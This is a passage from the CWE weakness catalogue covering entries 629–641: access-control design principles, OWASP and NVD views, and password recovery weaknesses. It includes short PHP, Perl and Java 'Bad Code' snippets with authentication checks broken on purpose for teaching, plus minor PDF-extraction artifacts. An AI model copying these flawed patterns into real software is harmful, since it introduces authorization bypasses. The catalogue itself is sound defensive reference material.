The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.

#### PHP Example:

Bad Code

```
function authenticate($username, $password) {
    // authenticate user
    ...
}
authenticate($_POST['password'], $_POST['username']);
```

#### Example 2:

This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.

#### Perl Example:

Bad Code

```
sub ReportAuth {
    my ($username, $result, $fatal) = @_ ;
    PrintLog("auth: username=%s, result=%d", $username, $result);
    if (($result ne "success") && $fatal) {
        die "Failed!\n";
    }
}
```

```

}
}
sub PrivilegedFunc
{
  my $result = CheckAuth($username);
  ReportAuth($username, $result, 0);
  DoReallyImportantStuff();
}

```

**Example 3:**

In the following Java snippet, the `accessGranted()` method is accidentally called with the static `ADMIN_ROLES` array rather than the user roles.

**Java Example:***Bad Code*

```

private static final String[] ADMIN_ROLES = ...;
public boolean void accessGranted(String resource, String user) {
  String[] userRoles = getUserRoles(user);
  return accessGranted(resource, ADMIN_ROLES);
}
private boolean void accessGranted(String resource, String[] userRoles) {
  // grant or deny access based on user roles
  ...
}

```

**Observed Examples**

Reference	Description
CVE-2006-7049	The method calls the functions with the wrong argument order, which allows remote attackers to bypass intended access restrictions.

**Potential Mitigations****Build and Compilation**

Once found, these issues are easy to fix. Use code inspection tools and relevant compiler features to identify potential violations. Pay special attention to code that is not likely to be exercised heavily during QA.

**Architecture and Design**

Make sure your API's are stable before you use them in production code.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

This is usually primary to other weaknesses, but it can be resultant if the function's API or function prototype changes.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		559	Often Misused: Arguments and Parameters	699	894
ChildOf		573	Improper Following of Specification by Caller	1000	910
ChildOf		736	CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)	734	1131
ChildOf		737	CERT C Secure Coding Section 03 - Expressions (EXP)	734	1131
ChildOf		742	CERT C Secure Coding Section 08 - Memory Management (MEM)	734	1134
ChildOf		998	SFP Secondary Cluster: Glitch in Computation	888	1393
ParentOf		683	Function Call With Incorrect Order of Arguments	699 1000	1064
ParentOf		685	Function Call With Incorrect Number of Arguments	699 1000	1065
ParentOf		686	Function Call With Incorrect Argument Type	699 1000	1066
ParentOf		687	Function Call With Incorrectly Specified Argument Value	699 1000	1067
ParentOf		688	Function Call With Incorrect Variable or Reference as Argument	699 1000	1068
MemberOf		884	CWE Cross-section	884	1319

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	DCL10-C	Maintain the contract between the writer and caller of variadic functions
CERT C Secure Coding	EXP37-C	Call functions with the arguments intended by the API
CERT C Secure Coding	MEM08-C	Use realloc() only to resize dynamically allocated arrays

# CWE-629: Weaknesses in OWASP Top Ten (2007)

View ID: 629 (View: Graph)

Status: Draft

## Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2007.

## View Data

### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>38</b>	out of	1003
<b>Views</b>	0	out of	32
<b>Categories</b>	10	out of	244
<b>Weaknesses</b>	27	out of	719
<b>Compound Elements</b>	1	out of	8

## View Audience

### Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2007 version), providing a good starting point for web application developers who want to code more securely.

### Software Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2007 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.

### Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
HasMember	<b>C</b>	712	OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)	<b>629</b>	1111
HasMember	<b>C</b>	713	OWASP Top Ten 2007 Category A2 - Injection Flaws	<b>629</b>	1112
HasMember	<b>C</b>	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	<b>629</b>	1112
HasMember	<b>C</b>	715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference	<b>629</b>	1113
HasMember	<b>C</b>	716	OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)	<b>629</b>	1113
HasMember	<b>C</b>	717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling	<b>629</b>	1114
HasMember	<b>C</b>	718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management	<b>629</b>	1114
HasMember	<b>C</b>	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage	<b>629</b>	1114
HasMember	<b>C</b>	720	OWASP Top Ten 2007 Category A9 - Insecure Communications	<b>629</b>	1115
HasMember	<b>C</b>	721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access	<b>629</b>	1115
MemberOf	<input checked="" type="checkbox"/>	699	<i>Development Concepts</i>	<b>699</b>	1081

## Relationship Notes

The relationships in this view are a direct extraction of the CWE mappings that are in the 2007 OWASP document. CWE has changed since the release of that document.

### References

"Top 10 2007". OWASP. 2007-05-18. < [http://www.owasp.org/index.php/Top\\_10\\_2007](http://www.owasp.org/index.php/Top_10_2007) >.

## CWE-630: Weaknesses Examined by SAMATE

View ID: 630 (View: Explicit Slice)

Status: Draft

### Objective

CWE nodes in this view (slice) are being focused on by SAMATE.

### View Data

#### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>21</b>	out of	1003
<b>Views</b>	0	out of	32
<b>Categories</b>	1	out of	244
<b>Weaknesses</b>	20	out of	719
<b>Compound Elements</b>	0	out of	8

### Relationships

Nature	Type	ID	Name	V	Page
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	630	121
HasMember	V	80	Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)	630	142
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	630	159
HasMember	B	99	Improper Control of Resource Identifiers ('Resource Injection')	630	190
HasMember	V	121	Stack-based Buffer Overflow	630	242
HasMember	V	122	Heap-based Buffer Overflow	630	245
HasMember	B	134	Uncontrolled Format String	630	277
HasMember	B	170	Improper Null Termination	630	328
HasMember	V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	630	434
HasMember	C	251	Often Misused: String Management	630	445
HasMember	B	259	Use of Hard-coded Password	630	459
HasMember	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	630	642
HasMember	B	391	Unchecked Error Condition	630	675
HasMember	B	401	Improper Release of Memory Before Removing Last Reference ('Memory Leak')	630	694
HasMember	B	412	Unrestricted Externally Accessible Lock	630	711
HasMember	V	415	Double Free	630	716
HasMember	B	416	Use After Free	630	719
HasMember	V	457	Use of Uninitialized Variable	630	773
HasMember	B	468	Incorrect Pointer Scaling	630	786
HasMember	B	476	NULL Pointer Dereference	630	798
HasMember	B	489	Leftover Debug Code	630	824

### References

< [http://samate.nist.gov/index.php/Source\\_Code\\_Security\\_Analysis.html](http://samate.nist.gov/index.php/Source_Code_Security_Analysis.html) >.

## CWE-631: Resource-specific Weaknesses

View ID: 631 (View: Graph)

Status: Draft

### Objective

CWE nodes in this view (graph) occur when the application handles particular system resources.

### View Data

## View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>62</b>	out of	1003
<b>Views</b>	<b>0</b>	out of	32
<b>Categories</b>	<b>11</b>	out of	244
<b>Weaknesses</b>	<b>49</b>	out of	719
<b>Compound_Elements</b>	<b>2</b>	out of	8

## Relationships

Nature	Type	ID	Name	V	Page
HasMember	C	632	Weaknesses that Affect Files or Directories	631	981
HasMember	C	633	Weaknesses that Affect Memory	631	981
HasMember	C	634	Weaknesses that Affect System Processes	631	982
MemberOf	V	699	Development Concepts	699	1081

## CWE-632: Weaknesses that Affect Files or Directories

Category ID: 632 (Category)

Status: Draft

## Description

## Summary

Weaknesses in this category affect file or directory resources.

## Relationships

Nature	Type	ID	Name	V	Page
ParentOf	G	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	631	30
ParentOf	B	41	Improper Resolution of Path Equivalence	631	73
ParentOf	B	59	Improper Link Resolution Before File Access ('Link Following')	631	91
ParentOf	C	60	UNIX Path Link Problems	631	94
ParentOf	C	63	Windows Path Link Problems	631	98
ParentOf	V	67	Improper Handling of Windows Device Names	631	103
ParentOf	C	68	Windows Virtual File Problems	631	104
ParentOf	C	70	Mac Virtual File Problems	631	106
ParentOf	B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	631	181
ParentOf	B	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	631	184
ParentOf	B	178	Improper Handling of Case Sensitivity	631	343
ParentOf	V	243	Creation of chroot Jail Without Changing Working Directory	631	433
ParentOf	V	260	Password in Configuration File	631	463
ParentOf	C	275	Permission Issues	631	488
ParentOf	G	282	Improper Ownership Management	631	497
ParentOf	G	284	Improper Access Control	631	499
ParentOf	C	376	Temporary File Issues	631	655
ParentOf	B	434	Unrestricted Upload of File with Dangerous Type	631	742
ParentOf	V	533	Information Exposure Through Server Log Files	631	873
ParentOf	B	552	Files or Directories Accessible to External Parties	631	889
MemberOf	V	631	Resource-specific Weaknesses	631	980
ParentOf	V	785	Use of Path Manipulation Function without Maximum-sized Buffer	631	1204

## CWE-633: Weaknesses that Affect Memory

Category ID: 633 (Category)

Status: Draft

## Description

## Summary

Weaknesses in this category affect memory resources.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	14	Compiler Removal of Code to Clear Buffers	631	12
ParentOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	631	226
ParentOf	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	631	234
ParentOf	V	122	Heap-based Buffer Overflow	631	245
ParentOf	B	129	Improper Validation of Array Index	631	258
ParentOf	B	134	Uncontrolled Format String	631	277
ParentOf	B	226	Sensitive Information Uncleared Before Release	631	417
ParentOf	V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	631	434
ParentOf	C	251	Often Misused: String Management	631	445
ParentOf	V	316	Cleartext Storage of Sensitive Information in Memory	631	559
ParentOf	B	401	Improper Release of Memory Before Removing Last Reference ('Memory Leak')	631	694
ParentOf	V	415	Double Free	631	716
ParentOf	B	416	Use After Free	631	719
ParentOf	V	591	Sensitive Data Storage in Improperly Locked Memory	631	932
MemberOf	V	631	Resource-specific Weaknesses	631	980
ParentOf	B	763	Release of Invalid Pointer or Reference	631	1164
ParentOf	V	785	Use of Path Manipulation Function without Maximum-sized Buffer	631	1204

## CWE-634: Weaknesses that Affect System Processes

Category ID: 634 (Category)

Status: Draft

### Description

#### Summary

Weaknesses in this category affect system process resources during process invocation or inter-process communication (IPC).

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	V	69	Improper Handling of Windows ::DATA Alternate Data Stream	631	105
ParentOf	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	631	121
ParentOf	B	88	Argument Injection or Modification	631	155
ParentOf	B	114	Process Control	631	215
ParentOf	V	214	Information Exposure Through Process Environment	631	408
ParentOf	B	266	Incorrect Privilege Assignment	631	471
ParentOf	B	273	Improper Check for Dropped Privileges	631	485
ParentOf	B	364	Signal Handler Race Condition	631	635
ParentOf	B	366	Race Condition within a Thread	631	640
ParentOf	V	383	J2EE Bad Practices: Direct Use of Threads	631	662
ParentOf	C	387	Signal Errors	631	668
ParentOf	B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')	631	697
ParentOf	B	421	Race Condition During Access to Alternate Channel	631	724
ParentOf	V	422	Unprotected Windows Messaging Channel ('Shatter')	631	725
ParentOf	3	426	Untrusted Search Path	631	729
ParentOf	V	479	Signal Handler Use of a Non-reentrant Function	631	807
ParentOf	V	572	Call to Thread run() instead of start()	631	910



Nature	Type	ID	Name	V	Page
MemberOf	V	631	Resource-specific Weaknesses	631	980

## CWE-635: Weaknesses Used by NVD

View ID: 635 (View: Explicit Slice) Status: Draft

### Objective

CWE nodes in this view (slice) are used by NIST to categorize vulnerabilities within NVD.

### View Data

#### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>19</b>	out of	1003
<b>Views</b>	0	out of	32
<b>Categories</b>	6	out of	244
<b>Weaknesses</b>	12	out of	719
<b>Compound_Elements</b>	1	out of	8

### Relationships

Nature	Type	ID	Name	V	Page
HasMember	C	16	Configuration	635	15
HasMember	G	20	Improper Input Validation	635	18
HasMember	G	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	635	30
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	635	91
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	635	121
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	635	131
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	635	159
HasMember	G	94	Improper Control of Generation of Code ('Code Injection')	635	173
HasMember	G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	635	226
HasMember	B	134	Uncontrolled Format String	635	277
HasMember	C	189	Numeric Errors	635	360
HasMember	G	200	Information Exposure	635	384
HasMember	C	255	Credentials Management	635	453
HasMember	C	264	Permissions, Privileges, and Access Controls	635	468
HasMember	G	287	Improper Authentication	635	507
HasMember	C	310	Cryptographic Issues	635	547
HasMember	3	352	Cross-Site Request Forgery (CSRF)	635	611
HasMember	G	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	635	627
HasMember	C	399	Resource Management Errors	635	686

### References

NIST. "CWE - Common Weakness Enumeration". < <http://nvd.nist.gov/cwe.cfm> >.

### Maintenance Notes

The set of CWE elements as used in NVD was created in summer of 2007. Since then, CWE has grown, so it is expected that this list will change. The current organization as used by NVD is captured in the following image.

NVD cross-section of CWE  
[http://nvd.nist.gov/images/cwe\\_cross\\_section\\_large.jpg](http://nvd.nist.gov/images/cwe_cross_section_large.jpg)

## CWE-636: Not Failing Securely ('Failing Open')



**Description**

**Summary**

When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions.

**Extended Description**

By entering a less secure state, the product inherits the weaknesses associated with that state, making it easier to compromise. At the least, it causes administrators to have a false sense of security. This weakness typically occurs as a result of wanting to "fail functional" to minimize administration and support costs, instead of "failing safe."

**Alternate Terms**

**Failing Open**

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Access Control**

**Bypass protection mechanism**

Intended access restrictions can be bypassed, which is often contradictory to what the product's administrator expects.

**Demonstrative Examples**

Switches may revert their functionality to that of hubs when the table used to map ARP information to the switch interface overflows, such as when under a spoofing attack. This results in traffic being broadcast to an eavesdropper, instead of being sent only on the relevant switch interface. To mitigate this type of problem, the developer could limit the number of ARP entries that can be recorded for a given switch interface, while other interfaces may keep functioning normally. Configuration options can be provided on the appropriate actions to be taken in case of a detected failure, but safe defaults should be used.

**Observed Examples**

Reference	Description
CVE-2006-4407	Incorrect prioritization leads to the selection of a weaker cipher. Although it is not known whether this issue occurred in implementation or design, it is feasible that a poorly designed algorithm could be a factor.
CVE-2007-5277	The failure of connection attempts in a web browser resets DNS pin restrictions. An attacker can then bypass the same origin policy by rebinding a domain name to a different IP address. This was an attempt to "fail functional."

**Potential Mitigations**

**Architecture and Design**




Subdivide and allocate resources and components so that a failure in one part does not affect the entire product.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	CVSS	Page
PeerOf		280	Improper Handling of Insufficient Permissions or Privileges	1000	495
ChildOf		388	Error Handling	699	669
ChildOf		657	Violation of Secure Design Principles	<b>699</b> <b>1000</b>	1017
ChildOf		728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	<b>711</b>	1119

Nature	Type	ID	Name	✓	Page
ChildOf		755	Improper Handling of Exceptional Conditions	1000	1150
ChildOf		961	SFP Secondary Cluster: Incorrect Exception Behavior	<b>888</b>	1376
ParentOf		455	<i>Non-exit on Failed Initialization</i>	1000	769

### Research Gaps

Since design issues are hard to fix, they are rarely publicly reported, so there are few CVE examples of this problem as of January 2008. Most publicly reported issues occur as the result of an implementation error instead of design, such as CVE-2005-3177 (Improper handling of large numbers of resources) or CVE-2005-2969 (inadvertently disabling a verification step, leading to selection of a weaker protocol).

### Causal Nature

#### Implicit

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling

### References

Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. September, 1975. < <http://web.mit.edu/Saltzer/www/publications/protection/> >.

Sean Barnum and Michael Gegick. "Failing Securely". 2005-12-05. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/349.html> >.

## CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')

Weakness ID: 637 (Weakness Class)

Status: Draft

### Description

#### Summary

The software uses a more complex mechanism than necessary, which could lead to resultant weaknesses when the mechanism is not correctly understood, modeled, configured, implemented, or used.

#### Extended Description

Security mechanisms should be as simple as possible. Complex security mechanisms may engender partial implementations and compatibility problems, with resulting mismatches in assumptions and implemented security. A corollary of this principle is that data specifications should be as simple as possible, because complex data specifications result in complex validation code. Complex tasks and systems may also need to be guarded by complex security checks, so simple systems should be preferred.

### Alternate Terms

#### Unnecessary Complexity

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Other

#### Other

### Demonstrative Examples

#### Example 1:

The IPSEC specification is complex, which resulted in bugs, partial implementations, and incompatibilities between vendors.

### Example 2:

HTTP Request Smuggling (CWE-444) attacks are feasible because there are not stringent requirements for how illegal or inconsistent HTTP headers should be handled. This can lead to inconsistent implementations in which a proxy or firewall interprets the same data stream as a different set of requests than the end points in that stream.

### Observed Examples

Reference	Description
CVE-2005-2148	The developer cleanses the <code>\$_REQUEST</code> superglobal array, but PHP also populates <code>\$_GET</code> , allowing attackers to bypass the protection mechanism and conduct SQL injection attacks against code that uses <code>\$_GET</code> .
CVE-2007-1552	Either a filename extension and a Content-Type header could be used to infer the file type, but the developer only checks the Content-Type, enabling unrestricted file upload (CWE-434).
CVE-2007-6067	Support for complex regular expressions leads to a resultant algorithmic complexity weakness (CWE-407).
CVE-2007-6479	In Apache environments, a "filename.php.gif" can be redirected to the PHP interpreter instead of being sent as an image/gif directly to the user. Not knowing this, the developer only checks the last extension of a submitted filename, enabling arbitrary code execution.

### Potential Mitigations

#### Architecture and Design

Avoid complex security mechanisms when simpler ones would meet requirements. Avoid complex data models, and unnecessarily complex operations. Adopt architectures that provide guarantees, simplify understanding through elegance and abstraction, and that can be implemented similarly. Modularize, isolate and do not trust complex code, and apply other secure programming principles on these modules (e.g., least privilege) to mitigate vulnerabilities.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	Count	Page
ChildOf		657	Violation of Secure Design Principles	<b>699</b>	1017
ChildOf		975	SFP Secondary Cluster: Architecture	<b>888</b>	1382

### Causal Nature

#### Implicit

### References

Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. September, 1975. < <http://web.mit.edu/Saltzer/www/publications/protection/> >.

Sean Barnum and Michael Gegick. "Economy of Mechanism". 2005-09-13. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/348.html> >.

## CWE-638: Not Using Complete Mediation

Weakness ID: 638 (Weakness Class)

Status: Draft

### Description

#### Summary

The software does not perform access checks on a resource every time the resource is accessed by an entity, which can create resultant weaknesses if that entity's rights or privileges change over time.

#### Extended Description

### Time of Introduction

- Architecture and Design
- Implementation

- Operation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Confidentiality

#### Availability

#### Access Control

#### Other

#### Gain privileges / assume identity

#### Execute unauthorized code or commands

#### Bypass protection mechanism

#### Read application data

#### Other

A user might retain access to a critical resource even after privileges have been revoked, possibly allowing access to privileged functionality or sensitive information, depending on the role of the resource.

### Demonstrative Examples

#### Example 1:

When executable library files are used on web servers, which is common in PHP applications, the developer might perform an access check in any user-facing executable, and omit the access check from the library file itself. By directly requesting the library file (CWE-425), an attacker can bypass this access check.

#### Example 2:

When a developer begins to implement input validation for a web application, often the validation is performed in each area of the code that uses externally-controlled input. In complex applications with many inputs, the developer often misses a parameter here or a cookie there. One frequently-applied solution is to centralize all input validation, store these validated inputs in a separate data structure, and require that all access of those inputs must be through that data structure. An alternate approach would be to use an external input validation framework such as Struts, which performs the validation before the inputs are ever processed by the code.

### Observed Examples

Reference	Description
CVE-2007-0408	Server does not properly validate client certificates when reusing cached connections.

### Potential Mitigations

#### Architecture and Design

Invalidate cached privileges, file handles or descriptors, or other access credentials whenever identities, processes, policies, roles, capabilities or permissions change. Perform complete authentication checks before accepting, caching and reusing data, dynamic content and code (scripts). Avoid caching access control decisions as much as possible.

#### Architecture and Design

Identify all possible code paths that might access sensitive resources. If possible, create and use a single interface that performs the access checks, and develop code standards that require use of this interface.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		657	Violation of Secure Design Principles	<b>699</b>	1017
ChildOf		862	Missing Authorization	1000	1299
ChildOf		988	SFP Secondary Cluster: Race Condition Window	<b>888</b>	1387

Nature	Type	ID	Name	V	Page
ParentOf		424	Improper Protection of Alternate Path	1000	727

**Causal Nature****Implicit****Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP20	Race Condition Window

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
104	Cross Zone Scripting	

**References**

Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. September, 1975. < <http://web.mit.edu/Saltzer/www/publications/protection/> >.

Sean Barnum and Michael Gegick. "Complete Mediation". 2005-09-12. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/346.html> >.

## CWE-639: Authorization Bypass Through User-Controlled Key

Weakness ID: 639 (Weakness Base)

Status: Incomplete

**Description****Summary**

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

**Extended Description**

Retrieval of a user record occurs in the system based on some key value that is under user control. The key would typically identify a user related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system. One manifestation of this weakness would be if a system used sequential or otherwise easily guessable session ids that would allow one user to easily switch to another user's session and read/modify their data.

**Alternate Terms****Insecure Direct Object Reference**

The "Insecure Direct Object Reference" term, as described in the OWASP Top Ten, is broader than this CWE because it also covers path traversal (CWE-22). Within the context of vulnerability theory, there is a similarity between the OWASP concept and CWE-706: Use of Incorrectly-Resolved Name or Reference.

**Horizontal Authorization**

"Horizontal Authorization" is used to describe situations in which two users have the same privilege level, but must be prevented from accessing each other's resources. This is fairly common when using key-based access to resources in a multi-user context.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms****Languages**

- Language-independent

**Common Consequences**

**Access Control****Bypass protection mechanism**

Access control checks for specific user data or functionality can be bypassed.

**Access Control****Gain privileges / assume identity**

Horizontal escalation of privilege is possible (one user can view/modify information of another user).

**Access Control****Gain privileges / assume identity**

Vertical escalation of privilege is possible if the user-controlled key is actually a flag that indicates administrator status, allowing the attacker to gain administrative access.

**Likelihood of Exploit**

High

**Enabling Factors for Exploitation**

The key used internally in the system to identify the user record can be externally controlled. For example attackers can look at places where user specific data is retrieved (e.g. search screens) and determine whether the key for the item being looked up is controllable externally. The key may be a hidden field in the HTML form field, might be passed as a URL parameter or as an unencrypted cookie variable, then in each of these cases it will be possible to tamper with the key value.

**Potential Mitigations****Architecture and Design**

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.










**Architecture and Design****Implementation**

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

**Architecture and Design**

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference	<b>629</b>	1113
ChildOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control	<b>711</b>	1116
ChildOf		813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	<b>809</b>	1246
ChildOf		840	Business Logic Errors	699	1283
ChildOf		862	Missing Authorization	<b>699</b> <b>1000</b>	1299
ChildOf		932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References	<b>928</b>	1359
ChildOf		945	SFP Secondary Cluster: Insecure Resource Access	<b>888</b>	1371
ParentOf		566	<i>Authorization Bypass Through User-Controlled SQL Primary Key</i>	<b>699</b> <b>1000</b>	902

## CWE-640: Weak Password Recovery Mechanism for Forgotten Password

Weakness ID: 640 (Weakness Base)

Status: Incomplete

**Description****Summary**



The software contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.

### Extended Description

It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Very often the password recovery mechanism is weak, which has the effect of making it more likely that it would be possible for a person other than the legitimate system user to gain access to that user's account.

This weakness may be that the security question is too easy to guess or find an answer to (e.g. because it is too common). Or there might be an implementation weakness in the password recovery mechanism code that may for instance trick the system into e-mailing the new password to an e-mail account other than that of the user. There might be no throttling done on the rate of password resets so that a legitimate user can be denied service by an attacker if an attacker tries to recover their password in a rapid succession. The system may send the original password to the user rather than generating a new temporary password. In summary, password recovery functionality, if not carefully designed and implemented can often become the system's weakest link that can be misused in a way that would allow an attacker to gain unauthorized access to the system. Weak password recovery schemes completely undermine a strong password authentication scheme.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Access Control

##### Gain privileges / assume identity

An attacker could gain unauthorized access to the system by retrieving legitimate user's authentication credentials.

#### Availability

##### DoS: resource consumption (other)

An attacker could deny service to legitimate system users by launching a brute force attack on the password recovery mechanism using user ids of legitimate users.

#### Integrity

##### Other

##### Other

The system's security functionality is turned against the system by the attacker.

### Likelihood of Exploit

High

### Enabling Factors for Exploitation

The system allows users to recover their passwords and gain access back into the system.

Password recovery mechanism relies only on something the user knows and not something the user has.

Weak security questions are used.

No third party intervention is required to use the password recovery mechanism.

### Observed Examples

#### Description

A famous example of this type of weakness being exploited is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.



## Potential Mitigations

### Architecture and Design

Make sure that all input supplied by the user to the password recovery mechanism is thoroughly filtered and validated.

### Architecture and Design

Do not use standard weak security questions and use several security questions.

### Architecture and Design

Make sure that there is throttling on the number of incorrect answers to a security question.

Disable the password recovery functionality after a certain (small) number of incorrect guesses.

### Architecture and Design

Require that the user properly answers the security question prior to resetting their password and sending the new password to the e-mail address of record.







### Architecture and Design

Never allow the user to control what e-mail address the new password will be sent to in the password recovery mechanism.

### Architecture and Design

Assign a new temporary password rather than revealing the original password.

## Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		255	Credentials Management	699	453
ChildOf		287	Improper Authentication	1000	507
ChildOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1117
ChildOf		840	Business Logic Errors	699	1283
ChildOf		930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	1358
ChildOf		959	SFP Secondary Cluster: Weak Cryptography	888	1375

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
WASC	49	Insufficient Password Recovery

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
50	Password Recovery Exploitation	

## References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 19: Use of Weak Password-Based Systems." Page 279. McGraw-Hill. 2010.

## Maintenance Notes

This entry might be reclassified as a category or "loose composite," since it lists multiple specific errors that can make the mechanism weak. However, under view 1000, it could be a weakness under protection mechanism failure, although it is different from most PMF issues since it is related to a feature that is designed to bypass a protection mechanism (specifically, the lack of knowledge of a password).

This entry probably needs to be split; see extended description.

# CWE-641: Improper Restriction of Names for Files and Other Resources

Weakness ID: 641 (Weakness Base)

Status: Incomplete

## Description

### Summary

The application constructs the name of a file or other resource using input from an upstream component, but does not restrict or incorrectly restricts the resulting name.

**Extended Description**

This may produce resultant weaknesses. For instance, if the names of these resources contain scripting characters, it is possible that a script may get executed in the client's browser if the application ever displays the name of the resource on a dynamically generated web page. Alternately, if the resources are consumed by some application parser, a specially crafted name can exploit some vulnerability internal to the parser, potentially resulting in execution of arbitrary code on the server machine. The problems will vary based on the context of usage of such malformed resource names and whether vulnerabilities are present in or assumptions are made by the targeted technology that would make code execution possible.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Integrity**

**Confidentiality**

**Availability**

**Execute unauthorized code or commands**

Execution of arbitrary code in the context of usage of the resources with dangerous names.

**Confidentiality**

**Availability**

**Read application data**

**DoS: crash / exit / restart**

Crash of the consumer code of these resources resulting in information leakage or denial of service.

**Likelihood of Exploit**

Low

**Enabling Factors for Exploitation**

Resource names are controllable by the user.

No sufficient validation of resource names at entry points or before consumption by other processes.

